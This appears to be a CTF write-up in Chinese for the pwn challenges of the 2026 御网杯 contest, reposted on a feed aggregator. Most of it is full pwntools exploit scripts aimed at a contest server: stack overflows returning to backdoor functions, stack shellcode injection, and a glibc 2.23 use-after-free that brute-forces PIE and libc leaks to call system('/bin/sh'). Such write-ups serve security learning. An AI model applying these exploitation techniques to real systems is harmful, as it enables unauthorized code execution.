惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
人人都是产品经理
人人都是产品经理
Cisco Talos Blog
Cisco Talos Blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
V
V2EX
博客园 - 三生石上(FineUI控件)
Martin Fowler
Martin Fowler
WordPress大学
WordPress大学
D
Docker
S
SegmentFault 最新的问题
博客园 - 聂微东
美团技术团队
Apple Machine Learning Research
Apple Machine Learning Research
月光博客
月光博客
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Last Week in AI
Last Week in AI
M
MIT News - Artificial intelligence
F
Fortinet All Blogs
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
The GitHub Blog
The GitHub Blog
GbyAI
GbyAI
L
LangChain Blog
Vercel News
Vercel News
博客园 - 叶小钗
MongoDB | Blog
MongoDB | Blog
Stack Overflow Blog
Stack Overflow Blog
H
Help Net Security
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
The Cloudflare Blog
Engineering at Meta
Engineering at Meta
T
Threat Research - Cisco Blogs
T
Threatpost
Scott Helme
Scott Helme
T
Tailwind CSS Blog
Latest news
Latest news
Stack Overflow Blog
Stack Overflow Blog
Blog — PlanetScale
Blog — PlanetScale
The Register - Security
The Register - Security
罗磊的独立博客
P
Proofpoint News Feed
腾讯CDC
S
Schneier on Security
雷峰网
雷峰网
A
About on SuperTechFans
T
Tenable Blog
F
Full Disclosure
Cyberwarzone
Cyberwarzone
博客园_首页
有赞技术团队
有赞技术团队
K
Kaspersky official blog

博客园_首页

三、Linux 文件管理+用户管理 XGBoost + SHAP 一键生成 10 张出版级模型解释图 【Azure App Service】App Service 里的 SNAT 端口 vs 出站连接数:到底是谁限制了谁? WEB-2026DASCTF夏季赛-CorpGate 为什么你用光模块测试FPGA IBERT不通 面试官:Workflow 和 Agent 有什么区别?如何选型? 从失忆到记住一切:Spring AI AutoMemoryTools 与 Session API 实战 2026 年 5 个最佳 Agent Skills 平台推荐 15天学会AI应用开发(三)把历史对话作为提示词会怎样 如何在Reaonix中使用CodeGraph以及CodeGraph效果实测经验分享 架构师必备:分布式事务方案选型 Agent的诞生(二):让模型开始调用工具 OpenDeepWiki 导出仓库 Skill:把代码知识沉淀成企业可复用的 AI 资产 [python]argparse 包在聊天机器人中的应用 LazyVim安装snacks.nvim报错“Process was killed because it reached the timeout” 一、红帽RHCSA+RHCE课前说明与Linux系统安装学习笔记 洛谷-P11240 [KTSC 2024 R2] 回文判定 题解 告别深夜夺命Call:如何利用 AI Agent Skills 自动自愈生产环境故障 从机器翻译到智驾:规则派的黄昏与数据革命的终局 Google 开源了啥,让 AI Agent 碰数据库不再是定时炸弹 P3550 [POI 2013] TAK-Taxis FastAPI 【Agentic RL / 强化学习 / OPD】OpenClaw-RL 源码阅读笔记 --- (4)--- 架构 - 罗西的思考 CentOS服务器上搭建Jenkins+maven+GitLab k8s gateway agentgo 运行时架构深度解析:一个 Go AI 编程助手的核心引擎设计 免费可商用 PHP 管理后台 CatchAdmin V5.3.1 发布 后台打包直降 5s 内 PPO算法 基础讲解 从 Agent 到代码:Claude Code 编排模型的演进 15天学会AI应用开发(二)为什么编写提示词这么重要 记一次GIS专业职称水平能力测试考试 在CubeMX生成项目中,手动移植FreeRTOS Kernel V11.3.0 LTS,HardFault 启动崩溃问题日志 [MAF的Agent管道详解-05]对话历史的持久化和输入输出的增强 从跑通到放弃:我的 Cloud Agent V1开发历程 Avalonia 制作复杂布局动画 Claude Code + 通义千问,从零搭出生产级 RAG 要花多少钱? Flutter 复杂拖拽排序实战:同源排序 + 跨容器拖拽完整落地 语言开发笔记3 Keepalived 学习总结 企智栾生 ETA (企智孪生(ETA)vs 传统数字孪生:有本质区别)【浙江联保网络 卢伟舜】 [数学-导数隐零点] 看起来简单?求过定点 (0, √e) 的直线与 y=e^x 交点横坐标差最小时的斜率 深度学习进阶(二十五)RoPE:现代 NLP 的位置编码范式 GMSL + 硬件PTP方案,真能让ADAS路测告别“数十毫秒偏差”吗? 【学习笔记】《Python编程 从入门到实践》第4章:for循环、range()、切片与元组 AI Agent 框架接金融行情数据前,先检查这 7 个工程风险 Dify — Workflow - 数据可视化 高性能服务器的基石:从并发模型到状态机 我用了 8 个月 Codex CLI,总结出这套 AI 编程工作流 重建 AI 认知第 3 篇:Prompt Engineering——怎么让 AI 听懂你的话 使用typedef封装函数指针新类型 只有踩过坑才懂:前端生成唯一 ID,别用 Date.now ()了!试试它crypto.randomUUID() ClickHouse Kubernetes集群部署与维护文档 c#一行代码免写登录页:PicoServer 的 AddBasicAuth 中间件实战 南京办公室装修避坑|21 年只做公装,闭口合同零增项 共绩科技:跨云弹性推理场景下,模型分发如何跟上算力调度 薄雾之上的上界:高概率复杂度的分析 TopBeeAI基金申请助手:使用AI提升基金申请效率的实践指南 高管的 AI 精神病 【译】构建前先计划:带你了解 Visual Studio 中的 Plan Agent 一行代码干翻 Java 反射?EggG 流式反射调用让反射优雅到不可思议 RAG 负责召回,LLM Wiki 负责沉淀:团队知识系统为什么不能只做检索 做一款企业真正敢用的AI测试应用,到底有多难?究竟难在哪? JaVers 版本历史功能完整实现指南 Github Project-AI Agentic Framework (.NET) [MAF的Agent管道详解-04]如何让LLM按照要求的结构输出数据? 随机过程WebApp实验室:从随机动力学到 AI 洞察的概率世界 有关使用python爬虫的一些心得 前端视角下的 C# 《GIS基础原理与技术实践》配套案例(Python版) GoF设计模式——代理模式 上位机程序集的反编译与加壳保护 基于 Blazor 实现的电梯运行监测系统 - known 【Agentic RL / 强化学习 / OPD】OpenClaw-RL 源码阅读笔记 --- (3)--- 总体思考 用 ESP32 做了一个 AI Agent 桌面状态核心,科技感直接拉满 马能否走遍棋盘的可达性证明 PortSwigger SQL注入LAB10 从 Harness Engineering 到 Trellis:AI 编程助手的工程化落地实践 信息化运维项目费用测算全指南:政策边界、三大方法与实操要点 Claude Code 实战 400 万 Tokens:接入 DeepSeek V4,从$26降到$2 Docker--容器常用命令 Dify — Chatflow - 数据库 零基础认识大语言模型工作原理 不繁花 写页面时别再把 Element Plus 整个搬进来啦!Vue3按需加载的坑我帮你踩平了 一条命令让你这辈子彻底解决"LF will be replaced by CRLF"(建议收藏) Miller Rabin:概率之下,证据成群 - Ofnoname Nessus 2026.5.9 更新升级:企业级漏扫工具的全能进阶与实战应用 Agent Harness 架构真相:Prompt Cache 如何决定 Skill、MCP 与 SubAgent 设计 Claude Code 支持 LSP 指南(C#/JAVA等) [翻译] 为什么我要用 C# 构建数据库引擎 DeepSeek V4 + Claude Code thinking mode 400 错误修复方案 云原生 CI/CD 平台架构设计 模板方法模式实战:重构Agent工具审批,告别重复代码 Ubuntu修改主机名操作指南 [MAF的Agent管道详解-03]连接LLM的IChatClient对象 《HelloGitHub》第 122 期 AI Agent 到底是做什么的?优势在哪里? 完整学习LLM(六):上下文窗口是什么,为什么模型会忘东西 和AI一起搞事情#6. 如何实现AI生图文字可编辑? 洛谷-P11105 [ROI 2023] 解密 题解
2026御网杯线上挑战赛Pwn的wp
firefly_star · 2026-05-31 · via 博客园_首页

PWN-Authenticate

题目截图:A0B~5QS@%(V}86CC1R3IR

第一次输名字没啥用,因为后面比较过了跟没过不会exit还是正常退出,所以随便输。第二次有栈溢出,直接返回后门函数即可,

exp:

#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
flag = 1
if flag:
    p = remote('47.99.147.34',29725)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
pay=0x88*b'b'+p64(0x4012FB)+p64(0x4011F6)
sd(b'b')
ru(b"Password: ")
sl(pay)
ti()

PWN-NotService

题目截图9{T2A86$(L@H1E$R72IXWY

这个跟上一题基本一模一样,直接栈溢出返回后门函数即可。

exp:

#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
flag = 1
if flag:
    p = remote('47.99.147.34',10858)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
back=0x401196
ret=0x4011AC
pay=0x48*b'b'+flat(ret,back)
sd(pay)
ti()

PWN-MessageBoard{F2UC4`X@~FF3AW_VX7XSBO

没开NX保护,给了栈地址,往栈上写shellcode最后栈溢出回栈上执行shellcode即可。
exp如下:

#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
flag = 0
if flag:
    p = remote('47.99.147.34',10303)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
ru(b"Buffer at: ")
base=i6(rcl().strip())
pay=asm(shellcraft.sh())
pay=pay.ljust(0x88,b'b')+p64(base)
sd(pay)
ti()

PWN-UserManager

题目截图:CDU2QQ}YK3LT1D{5`@OMI7

这个题就比较有意思了,glibc是2.23,定义了一个结构体有data,show的函数指针,size三个成员。普通的堆菜单题,但是show要先strcmp才可以show出来,有UAF。这里我们先造出来一个overlapping,让edit能改一个结构体的data,show成员。然后就可以把data成员的指针改成指向show函数指针的指针,再打一个爆破就可以泄露出程序基地址。有了程序基地址再把data成员改成一个函数的got表,再打一个爆破就可以泄露出libc基地址。然后把data成员改成libc里binsh的地址,show函数指针改成system的地址,然后再登入即可getshell。

这里overlapping因为他data指针放在正常堆块结构的fd位置上了,所以有两种办法,第一种是正常UAF,申请data成员时申请大小原理0x18,这样后续申请data成员可以把原先存放该结构体的堆块申请回来,这样就可以了。第二种是释放两个data成员原理0x18的堆块,这样他们会进fastbin的同一个链表,此时后释放结构体的data成员就会指向一个结构体。我这里还是正常打了UAF,因为他申请堆块必须写入数据,我就写了个\x00保证能改到结构体成员即可。后续操作跟上面的思路一样,就不解释了。

exp如下:

#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
libc=ELF('./libc-2.23.so')
flag = 1
if flag:
    p = remote('47.99.147.34',19588)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s).encode())
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def add(s,a,d):
    ru(b"Your choice:")
    slr(2)
    ru(b"Input the user id:")
    slr(s)
    ru(b"Input the password length:")
    slr(a)
    ru(b"Input password:")
    sd(d)
def free(s):
    ru(b"Your choice:")
    slr(3)
    ru(b"Input the user id:")
    slr(s)
def edit(s,a):
    ru(b"Your choice:")
    slr(4)
    ru(b"Input the user id:")
    slr(s)
    ru(b"Input new pass:")
    sd(a)
def login(s,d):
    ru(b"Your choice:")
    slr(1)
    ru(b"Input the user id:")
    slr(s)
    ru(b"Input the passwords length:")
    slr(8)
    ru(b"Input the password:\n")
    sd(d)
add(0,0x100,b'b'*8)
add(1,0x30,b'b'*8)
free(0)
free(1)
add(2,0x18,b'\x00')
edit(1,flat(0,0,0x40,0x20,b'\x2d'))
show=b""
for j in range(6):
    edit(1,flat(0,0,0x40,0x20,p8(0x2d-j)))
    for i in range(0x100):
        b=p8(i)+show
        login(2,b)
        a=rcl()
        if b'Wrong' in a:
            continue
        else:
            show=p8(i)+show
            break
show= int.from_bytes(show, 'little')
ph(show)
pie=show-0x9D0
puts=pie+0x201F98
edit(1,flat(0,0,0x40,0x20,puts))
pu=b""
for j in range(6):
    edit(1,flat(0,0,0x40,0x20,p8(0x9d-j)))
    for i in range(0x100):
        b=p8(i)+pu
        login(2,b)
        a=rcl()
        if b'Wrong' in a:
            continue
        else:
            pu=p8(i)+pu
            break
pu=int.from_bytes(pu, 'little')
ph(pu)
libcbase=pu-libc.sym['puts']
sy=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
edit(1,flat(0,0,0x40,0x20,binsh,sy))
login(2,b'/bin/sh\x00')
ti()

总的来说这个比赛也挺简单。